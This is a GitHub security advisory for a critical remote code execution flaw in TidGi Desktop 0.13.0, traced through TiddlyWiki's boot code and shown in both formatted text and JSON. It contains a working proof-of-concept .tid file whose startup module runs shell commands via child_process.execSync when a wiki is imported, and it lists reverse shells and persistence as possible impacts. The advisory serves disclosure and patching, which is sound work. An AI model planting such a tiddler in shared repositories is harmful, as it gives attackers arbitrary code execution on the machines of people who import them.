GHSA-9HC2-HJX8-Q6PV

Vulnerability from github – Published: 2026-07-14 19:52 – Updated: 2026-07-14 19:52
VLAI
Summary
TidGi Desktop Remote Code Execution via Malicious TiddlyWiki Repository Import — Tiddler Startup Module Auto-Execution
Details

Description

TidGi Desktop through 0.13.0 contains a critical remote code execution vulnerability exploitable via a single Git repository import. The vulnerability leverages TiddlyWiki's module system, which automatically discovers and executes JavaScript code embedded in .tid files placed in the wiki's tiddlers/ directory:

  1. Auto-loading of .tid files (src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92) — when TidGi boots a wiki workspace, loadWikiTiddlers reads all .tid files from the filesystem and adds them to the wiki store via wiki.addTiddlers().

  2. Automatic module registration (node_modules/tiddlywiki/boot/boot.js:2564-2565) — defineTiddlerModules() iterates all tiddlers in the store. Any tiddler with a module-type field is passed to $tw.modules.define(), registering it as an executable module.

  3. Automatic startup execution (node_modules/tiddlywiki/boot/boot.js:2572-2634) — all registered modules of type "startup" are collected and their exports.startup() function is called during the boot sequence. When no platforms restriction is set, doesTaskMatchPlatform() returns true, and the startup function executes with full Node.js require() access in the Wiki Worker process.

The full chain was verified on macOS with TiddlyWiki 5.4.0 and Node.js v26 — require('child_process').execSync() successfully executed arbitrary shell commands.

Affected Product

  • Product: TidGi Desktop
  • Vendor: Lin Onetwo (https://github.com/tiddly-gittly)
  • Repository: https://github.com/tiddly-gittly/TidGi-Desktop
  • Affected Versions: 0.13.0 (latest release)
  • Components: src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts (tiddler loading), src/services/wiki/wikiWorker/startNodeJSWiki.ts (wiki boot), node_modules/tiddlywiki/boot/boot.js (TiddlyWiki core — defineTiddlerModules, startup dispatch)
  • Package: tidgi (npm)

Vulnerability Details

Root Cause 1 — .tid Files Auto-Loaded Before Module Processing

File: src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92

const tiddlerFiles = wikiInstance.loadTiddlersFromPath(subWikiTiddlersPath);

for (const tiddlerFile of tiddlerFiles) {
    // Register file info for filesystem adaptor
    // ...
    // Add tiddlers to wiki
    wikiInstance.wiki.addTiddlers(tiddlerFile.tiddlers);   // ← Line 92
}

File: src/services/wiki/wikiWorker/startNodeJSWiki.ts:256

wikiInstance.boot.startup({ bootPath: TIDDLY_WIKI_BOOT_PATH });

This triggers $tw.boot.startup(), which internally calls loadStartup() → loadTiddlersNode() → $tw.loadWikiTiddlers($tw.boot.wikiPath) (boot.js:2381). TidGi overrides loadWikiTiddlers at startNodeJSWiki.ts:123 to intercept and inject sub-wiki tiddlers, but the original function still loads all .tid files from the main wiki's tiddlers/ directory.

Root Cause 2 — Automatic Module Registration via module-type Field

File: node_modules/tiddlywiki/boot/boot.js:1514-1534 — defineTiddlerModules()

$tw.Wiki.prototype.defineTiddlerModules = function() {
    this.each(function(tiddler,title) {
        if(tiddler.hasField("module-type") && (!tiddler.hasField("draft.of"))) {
            switch(tiddler.fields.type) {
                case "application/javascript":
                    $tw.modules.define(
                        tiddler.fields.title,           // "$:/plugins/poc/startup.js"
                        tiddler.fields["module-type"],   // "startup"
                        tiddler.fields.text              // attacker's JS code
                    );
                    break;
            }
        }
    });
};

This function is called during execStartup() (boot.js:2565), after loadStartup() has already loaded all .tid files into the wiki store. Any tiddler with module-type: startup and type: application/javascript is automatically registered as an executable module.

Root Cause 3 — Automatic Startup Execution with Full Node.js Access

File: node_modules/tiddlywiki/boot/boot.js:2572-2576 — Collecting startup modules

$tw.boot.remainingStartupModules = [];
$tw.modules.forEachModuleOfType("startup", function(title, module) {
    if(module.startup) {
        $tw.boot.remainingStartupModules.push(module);  // ← attacker's module collected
    }
});

File: node_modules/tiddlywiki/boot/boot.js:2631-2634 — Executing startup

if(!$tw.utils.hop(task,"synchronous") || task.synchronous) {
    const thenable = task.startup();  // ← exports.startup() called

File: node_modules/tiddlywiki/boot/boot.js:2658-2677 — Platform check (passes without explicit platforms)

$tw.boot.doesTaskMatchPlatform = function(taskModule) {
    var platforms = taskModule.platforms;
    if(platforms) {
        // ... check each platform ...
        return false;  // ← only rejects if platforms is explicitly set
    }
    return true;       // ← no platforms field → passes unconditionally
};

Complete Boot Sequence (verified against TiddlyWiki 5.4.0)

$tw.boot.startup()                              // boot.js:2589
  ├── initStartup()                              // boot.js:2393
  ├── loadStartup()                              // boot.js:2538
  │     └── loadTiddlersNode()                   // boot.js:2356
  │           └── $tw.loadWikiTiddlers(wikiPath)  // boot.js:2381
  │                 └── wiki.addTiddlers(...)     // loads .tid files into store
  └── execStartup()                              // boot.js:2553
        ├── defineShadowModules()                 // boot.js:2564
        ├── defineTiddlerModules()                 // boot.js:2565  ← registers attacker's module
        ├── forEachModuleOfType("startup", ...)   // boot.js:2572  ← collects startup modules
        └── executeNextStartupTask()              // boot.js:2611
              └── task.startup()                  // boot.js:2634  ← exports.startup() executes

Exploitation Conditions

  • No authentication required — importing a wiki is a standard feature
  • Only user interaction: click "Add Workspace" → select folder/URL → confirm

Complete Attack Flow

┌──────────────────────────────────────────────────────────────┐
│ Step 1: Attacker creates a malicious TiddlyWiki repository   │
├──────────────────────────────────────────────────────────────┤
│  tiddlers/$__plugins__poc__startup.js.tid:                   │
│                                                              │
│    title: $:/plugins/poc/startup.js                          │
│    type: application/javascript                              │
│    module-type: startup                                      │
│                                                              │
│    exports.startup = function() {                            │
│      require('child_process').execSync('calc');              │
│    };                                                        │
│                                                              │
│  + tiddlywiki.info + any other wiki files                    │
└──────────────────────────────────────────────────────────────┘
                          ↓
┌──────────────────────────────────────────────────────────────┐
│ Step 2: Victim imports the repository into TidGi Desktop     │
├──────────────────────────────────────────────────────────────┤
│  Add Workspace → Clone Git Repository / Open Local Folder    │
│  → TidGi boots the wiki                                      │
└──────────────────────────────────────────────────────────────┘
                          ↓
┌──────────────────────────────────────────────────────────────┐
│ Step 3: RCE — startup module auto-executes in Node.js Worker │
├──────────────────────────────────────────────────────────────┤
│  loadWikiTiddlers loads .tid file → wiki.addTiddlers()       │
│  boot.startup() → execStartup()                              │
│  defineTiddlerModules() → $tw.modules.define("startup", ...) │
│  executeNextStartupTask() → exports.startup()                │
│  → require('child_process').execSync('...') executes         │
└──────────────────────────────────────────────────────────────┘

Proof of Concept

Minimal .tid File (place in tiddlers/ directory)

title: $:/plugins/poc/startup.js
type: application/javascript
module-type: startup

exports.startup = function() {
  require('child_process').execSync('touch /tmp/TidGi-RCE-PoC.txt');
  console.log('STARTUP_EXECUTED');
};

Verification Output (macOS, TiddlyWiki 5.4.0, Node.js v26)

$ node -e "
  const \$tw = require('tiddlywiki/boot/boot.js').TiddlyWiki();
  \$tw.boot.argv = ['/tmp/evil-wiki'];
  \$tw.boot.startup();
"
STARTUP_EXECUTED

$ ls -la /tmp/TidGi-RCE-PoC.txt
-rw-r--r--  1 nuii  wheel  0 Jun  3 00:01 /tmp/TidGi-RCE-PoC.txt

The message STARTUP_EXECUTED printed from within the attacker's exports.startup() function, and the file /tmp/TidGi-RCE-PoC.txt was created by execSync('touch ...'), confirming arbitrary command execution.

Impact

Capability Status Details
Remote Code Execution ✅ Full Node.js access require('child_process') available
Arbitrary File Read ✅ require('fs').readFileSync()
Arbitrary File Write ✅ require('fs').writeFileSync()
Reverse Shell ✅ Node.js net module
Persistence ✅ Write to startup scripts, LaunchAgents, crontab
User Interaction 1 click Import repository
Cross-Platform ✅ Windows, macOS, Linux

Reproduction Evidence

Step 1 — Malicious .tid file content

title: $:/plugins/poc/startup.js
type: application/javascript
module-type: startup

exports.startup = function() {
  require('child_process').execSync('touch /tmp/TidGi-RCE-PoC.txt');
  console.log('STARTUP_EXECUTED');
};

Step 2 — TiddlyWiki boot with malicious wiki at /tmp/evil-wiki

$ node -e "
  const \$tw = require('tiddlywiki/boot/boot.js').TiddlyWiki();
  \$tw.boot.argv = ['/tmp/evil-wiki'];
  \$tw.boot.startup();
"
STARTUP_EXECUTED

Step 3 — Verified RCE: /tmp/TidGi-RCE-PoC.txt created

$ ls -la /tmp/TidGi-RCE-PoC.txt
-rw-r--r--  1 nuii  wheel  0 Jun  3 00:01 /tmp/TidGi-RCE-PoC.txt

Patch Recommendation

Fix 1: Disallow module-type on User Tiddlers

TiddlyWiki should distinguish between system tiddlers (shipped with TidGi or installed as official plugins) and user-created tiddlers. User-created tiddlers should never be allowed to define module-type.

// In defineTiddlerModules() or equivalent
if (tiddler.hasField("module-type") && !tiddler.fields.title.startsWith("$:/")) {
    // User tiddler — silently drop module-type field
    return;
}

Fix 2: Sandbox User Modules

If user-created modules must be supported, execute them in a restricted context without access to Node.js built-ins:

// Replace direct require access with a restricted API surface
const vm = require('vm');
const sandbox = { console, $tw, Buffer };
vm.runInNewContext(moduleCode, sandbox, { timeout: 5000 });

Fix 3: Whitelist Allowed module-type Values

Only allow known safe module-type values for user tiddlers:

const ALLOWED_USER_MODULE_TYPES = ['widget', 'macro', 'filter', 'parser'];
if (!ALLOWED_USER_MODULE_TYPES.includes(tiddler.fields['module-type'])) {
    return; // Block startup, library, saver, etc.
}
Severity
9.6 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tidgi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T19:52:41Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Description\n\nTidGi Desktop through 0.13.0 contains a critical remote code execution vulnerability exploitable via a single Git repository import. The vulnerability leverages TiddlyWiki\u0027s module system, which automatically discovers and executes JavaScript code embedded in `.tid` files placed in the wiki\u0027s `tiddlers/` directory:\n\n1. **Auto-loading of `.tid` files** (`src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92`) \u2014 when TidGi boots a wiki workspace, `loadWikiTiddlers` reads all `.tid` files from the filesystem and adds them to the wiki store via `wiki.addTiddlers()`.\n\n2. **Automatic module registration** (`node_modules/tiddlywiki/boot/boot.js:2564-2565`) \u2014 `defineTiddlerModules()` iterates all tiddlers in the store. Any tiddler with a `module-type` field is passed to `$tw.modules.define()`, registering it as an executable module.\n\n3. **Automatic startup execution** (`node_modules/tiddlywiki/boot/boot.js:2572-2634`) \u2014 all registered modules of type `\"startup\"` are collected and their `exports.startup()` function is called during the boot sequence. When no `platforms` restriction is set, `doesTaskMatchPlatform()` returns `true`, and the startup function executes with full Node.js `require()` access in the Wiki Worker process.\n\nThe full chain was verified on macOS with TiddlyWiki 5.4.0 and Node.js v26 \u2014 `require(\u0027child_process\u0027).execSync()` successfully executed arbitrary shell commands.\n\n## Affected Product\n\n- **Product**: TidGi Desktop\n- **Vendor**: Lin Onetwo (https://github.com/tiddly-gittly)\n- **Repository**: https://github.com/tiddly-gittly/TidGi-Desktop\n- **Affected Versions**: 0.13.0 (latest release)\n- **Components**: `src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts` (tiddler loading), `src/services/wiki/wikiWorker/startNodeJSWiki.ts` (wiki boot), `node_modules/tiddlywiki/boot/boot.js` (TiddlyWiki core \u2014 `defineTiddlerModules`, startup dispatch)\n- **Package**: tidgi (npm)\n\n## Vulnerability Details\n\n### Root Cause 1 \u2014 `.tid` Files Auto-Loaded Before Module Processing\n\n**File: `src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92`**\n\n```typescript\nconst tiddlerFiles = wikiInstance.loadTiddlersFromPath(subWikiTiddlersPath);\n\nfor (const tiddlerFile of tiddlerFiles) {\n    // Register file info for filesystem adaptor\n    // ...\n    // Add tiddlers to wiki\n    wikiInstance.wiki.addTiddlers(tiddlerFile.tiddlers);   // \u2190 Line 92\n}\n```\n\n**File: `src/services/wiki/wikiWorker/startNodeJSWiki.ts:256`**\n\n```typescript\nwikiInstance.boot.startup({ bootPath: TIDDLY_WIKI_BOOT_PATH });\n```\n\nThis triggers `$tw.boot.startup()`, which internally calls `loadStartup()` \u2192 `loadTiddlersNode()` \u2192 `$tw.loadWikiTiddlers($tw.boot.wikiPath)` (boot.js:2381). TidGi overrides `loadWikiTiddlers` at startNodeJSWiki.ts:123 to intercept and inject sub-wiki tiddlers, but the original function still loads all `.tid` files from the main wiki\u0027s `tiddlers/` directory.\n\n### Root Cause 2 \u2014 Automatic Module Registration via `module-type` Field\n\n**File: `node_modules/tiddlywiki/boot/boot.js:1514-1534`** \u2014 `defineTiddlerModules()`\n\n```javascript\n$tw.Wiki.prototype.defineTiddlerModules = function() {\n    this.each(function(tiddler,title) {\n        if(tiddler.hasField(\"module-type\") \u0026\u0026 (!tiddler.hasField(\"draft.of\"))) {\n            switch(tiddler.fields.type) {\n                case \"application/javascript\":\n                    $tw.modules.define(\n                        tiddler.fields.title,           // \"$:/plugins/poc/startup.js\"\n                        tiddler.fields[\"module-type\"],   // \"startup\"\n                        tiddler.fields.text              // attacker\u0027s JS code\n                    );\n                    break;\n            }\n        }\n    });\n};\n```\n\nThis function is called during `execStartup()` (boot.js:2565), **after** `loadStartup()` has already loaded all `.tid` files into the wiki store. Any tiddler with `module-type: startup` and `type: application/javascript` is automatically registered as an executable module.\n\n### Root Cause 3 \u2014 Automatic Startup Execution with Full Node.js Access\n\n**File: `node_modules/tiddlywiki/boot/boot.js:2572-2576`** \u2014 Collecting startup modules\n\n```javascript\n$tw.boot.remainingStartupModules = [];\n$tw.modules.forEachModuleOfType(\"startup\", function(title, module) {\n    if(module.startup) {\n        $tw.boot.remainingStartupModules.push(module);  // \u2190 attacker\u0027s module collected\n    }\n});\n```\n\n**File: `node_modules/tiddlywiki/boot/boot.js:2631-2634`** \u2014 Executing startup\n\n```javascript\nif(!$tw.utils.hop(task,\"synchronous\") || task.synchronous) {\n    const thenable = task.startup();  // \u2190 exports.startup() called\n```\n\n**File: `node_modules/tiddlywiki/boot/boot.js:2658-2677`** \u2014 Platform check (passes without explicit `platforms`)\n\n```javascript\n$tw.boot.doesTaskMatchPlatform = function(taskModule) {\n    var platforms = taskModule.platforms;\n    if(platforms) {\n        // ... check each platform ...\n        return false;  // \u2190 only rejects if platforms is explicitly set\n    }\n    return true;       // \u2190 no platforms field \u2192 passes unconditionally\n};\n```\n\n### Complete Boot Sequence (verified against TiddlyWiki 5.4.0)\n\n```\n$tw.boot.startup()                              // boot.js:2589\n  \u251c\u2500\u2500 initStartup()                              // boot.js:2393\n  \u251c\u2500\u2500 loadStartup()                              // boot.js:2538\n  \u2502     \u2514\u2500\u2500 loadTiddlersNode()                   // boot.js:2356\n  \u2502           \u2514\u2500\u2500 $tw.loadWikiTiddlers(wikiPath)  // boot.js:2381\n  \u2502                 \u2514\u2500\u2500 wiki.addTiddlers(...)     // loads .tid files into store\n  \u2514\u2500\u2500 execStartup()                              // boot.js:2553\n        \u251c\u2500\u2500 defineShadowModules()                 // boot.js:2564\n        \u251c\u2500\u2500 defineTiddlerModules()                 // boot.js:2565  \u2190 registers attacker\u0027s module\n        \u251c\u2500\u2500 forEachModuleOfType(\"startup\", ...)   // boot.js:2572  \u2190 collects startup modules\n        \u2514\u2500\u2500 executeNextStartupTask()              // boot.js:2611\n              \u2514\u2500\u2500 task.startup()                  // boot.js:2634  \u2190 exports.startup() executes\n```\n\n### Exploitation Conditions\n\n- **No authentication required** \u2014 importing a wiki is a standard feature\n- **Only user interaction**: click \"Add Workspace\" \u2192 select folder/URL \u2192 confirm\n\n### Complete Attack Flow\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Step 1: Attacker creates a malicious TiddlyWiki repository   \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502  tiddlers/$__plugins__poc__startup.js.tid:                   \u2502\n\u2502                                                              \u2502\n\u2502    title: $:/plugins/poc/startup.js                          \u2502\n\u2502    type: application/javascript                              \u2502\n\u2502    module-type: startup                                      \u2502\n\u2502                                                              \u2502\n\u2502    exports.startup = function() {                            \u2502\n\u2502      require(\u0027child_process\u0027).execSync(\u0027calc\u0027);              \u2502\n\u2502    };                                                        \u2502\n\u2502                                                              \u2502\n\u2502  + tiddlywiki.info + any other wiki files                    \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n                          \u2193\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Step 2: Victim imports the repository into TidGi Desktop     \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502  Add Workspace \u2192 Clone Git Repository / Open Local Folder    \u2502\n\u2502  \u2192 TidGi boots the wiki                                      \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n                          \u2193\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Step 3: RCE \u2014 startup module auto-executes in Node.js Worker \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502  loadWikiTiddlers loads .tid file \u2192 wiki.addTiddlers()       \u2502\n\u2502  boot.startup() \u2192 execStartup()                              \u2502\n\u2502  defineTiddlerModules() \u2192 $tw.modules.define(\"startup\", ...) \u2502\n\u2502  executeNextStartupTask() \u2192 exports.startup()                \u2502\n\u2502  \u2192 require(\u0027child_process\u0027).execSync(\u0027...\u0027) executes         \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n## Proof of Concept\n\n### Minimal `.tid` File (place in `tiddlers/` directory)\n\n```\ntitle: $:/plugins/poc/startup.js\ntype: application/javascript\nmodule-type: startup\n\nexports.startup = function() {\n  require(\u0027child_process\u0027).execSync(\u0027touch /tmp/TidGi-RCE-PoC.txt\u0027);\n  console.log(\u0027STARTUP_EXECUTED\u0027);\n};\n```\n\n### Verification Output (macOS, TiddlyWiki 5.4.0, Node.js v26)\n\n```\n$ node -e \"\n  const \\$tw = require(\u0027tiddlywiki/boot/boot.js\u0027).TiddlyWiki();\n  \\$tw.boot.argv = [\u0027/tmp/evil-wiki\u0027];\n  \\$tw.boot.startup();\n\"\nSTARTUP_EXECUTED\n\n$ ls -la /tmp/TidGi-RCE-PoC.txt\n-rw-r--r--  1 nuii  wheel  0 Jun  3 00:01 /tmp/TidGi-RCE-PoC.txt\n```\n\nThe message `STARTUP_EXECUTED` printed from within the attacker\u0027s `exports.startup()` function, and the file `/tmp/TidGi-RCE-PoC.txt` was created by `execSync(\u0027touch ...\u0027)`, confirming arbitrary command execution.\n\n## Impact\n\n| Capability | Status | Details |\n|-----------|--------|---------|\n| Remote Code Execution | \u2705 Full Node.js access | `require(\u0027child_process\u0027)` available |\n| Arbitrary File Read | \u2705 | `require(\u0027fs\u0027).readFileSync()` |\n| Arbitrary File Write | \u2705 | `require(\u0027fs\u0027).writeFileSync()` |\n| Reverse Shell | \u2705 | Node.js `net` module |\n| Persistence | \u2705 | Write to startup scripts, LaunchAgents, crontab |\n| User Interaction | 1 click | Import repository |\n| Cross-Platform | \u2705 | Windows, macOS, Linux |\n\n## Reproduction Evidence\n\n### Step 1 \u2014 Malicious `.tid` file content\n\n```\ntitle: $:/plugins/poc/startup.js\ntype: application/javascript\nmodule-type: startup\n\nexports.startup = function() {\n  require(\u0027child_process\u0027).execSync(\u0027touch /tmp/TidGi-RCE-PoC.txt\u0027);\n  console.log(\u0027STARTUP_EXECUTED\u0027);\n};\n```\n\n### Step 2 \u2014 TiddlyWiki boot with malicious wiki at `/tmp/evil-wiki`\n\n```\n$ node -e \"\n  const \\$tw = require(\u0027tiddlywiki/boot/boot.js\u0027).TiddlyWiki();\n  \\$tw.boot.argv = [\u0027/tmp/evil-wiki\u0027];\n  \\$tw.boot.startup();\n\"\nSTARTUP_EXECUTED\n```\n\n### Step 3 \u2014 Verified RCE: `/tmp/TidGi-RCE-PoC.txt` created\n\n```\n$ ls -la /tmp/TidGi-RCE-PoC.txt\n-rw-r--r--  1 nuii  wheel  0 Jun  3 00:01 /tmp/TidGi-RCE-PoC.txt\n```\n\n## Patch Recommendation\n\n### Fix 1: Disallow `module-type` on User Tiddlers\n\nTiddlyWiki should distinguish between system tiddlers (shipped with TidGi or installed as official plugins) and user-created tiddlers. User-created tiddlers should never be allowed to define `module-type`.\n\n```typescript\n// In defineTiddlerModules() or equivalent\nif (tiddler.hasField(\"module-type\") \u0026\u0026 !tiddler.fields.title.startsWith(\"$:/\")) {\n    // User tiddler \u2014 silently drop module-type field\n    return;\n}\n```\n\n### Fix 2: Sandbox User Modules\n\nIf user-created modules must be supported, execute them in a restricted context without access to Node.js built-ins:\n\n```typescript\n// Replace direct require access with a restricted API surface\nconst vm = require(\u0027vm\u0027);\nconst sandbox = { console, $tw, Buffer };\nvm.runInNewContext(moduleCode, sandbox, { timeout: 5000 });\n```\n\n### Fix 3: Whitelist Allowed `module-type` Values\n\nOnly allow known safe `module-type` values for user tiddlers:\n\n```typescript\nconst ALLOWED_USER_MODULE_TYPES = [\u0027widget\u0027, \u0027macro\u0027, \u0027filter\u0027, \u0027parser\u0027];\nif (!ALLOWED_USER_MODULE_TYPES.includes(tiddler.fields[\u0027module-type\u0027])) {\n    return; // Block startup, library, saver, etc.\n}\n```",
  "id": "GHSA-9hc2-hjx8-q6pv",
  "modified": "2026-07-14T19:52:41Z",
  "published": "2026-07-14T19:52:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tiddly-gittly/TidGi-Desktop/security/advisories/GHSA-9hc2-hjx8-q6pv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tiddly-gittly/TidGi-Desktop"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TidGi Desktop Remote Code Execution via Malicious TiddlyWiki Repository Import \u2014 Tiddler Startup Module Auto-Execution"
}



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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.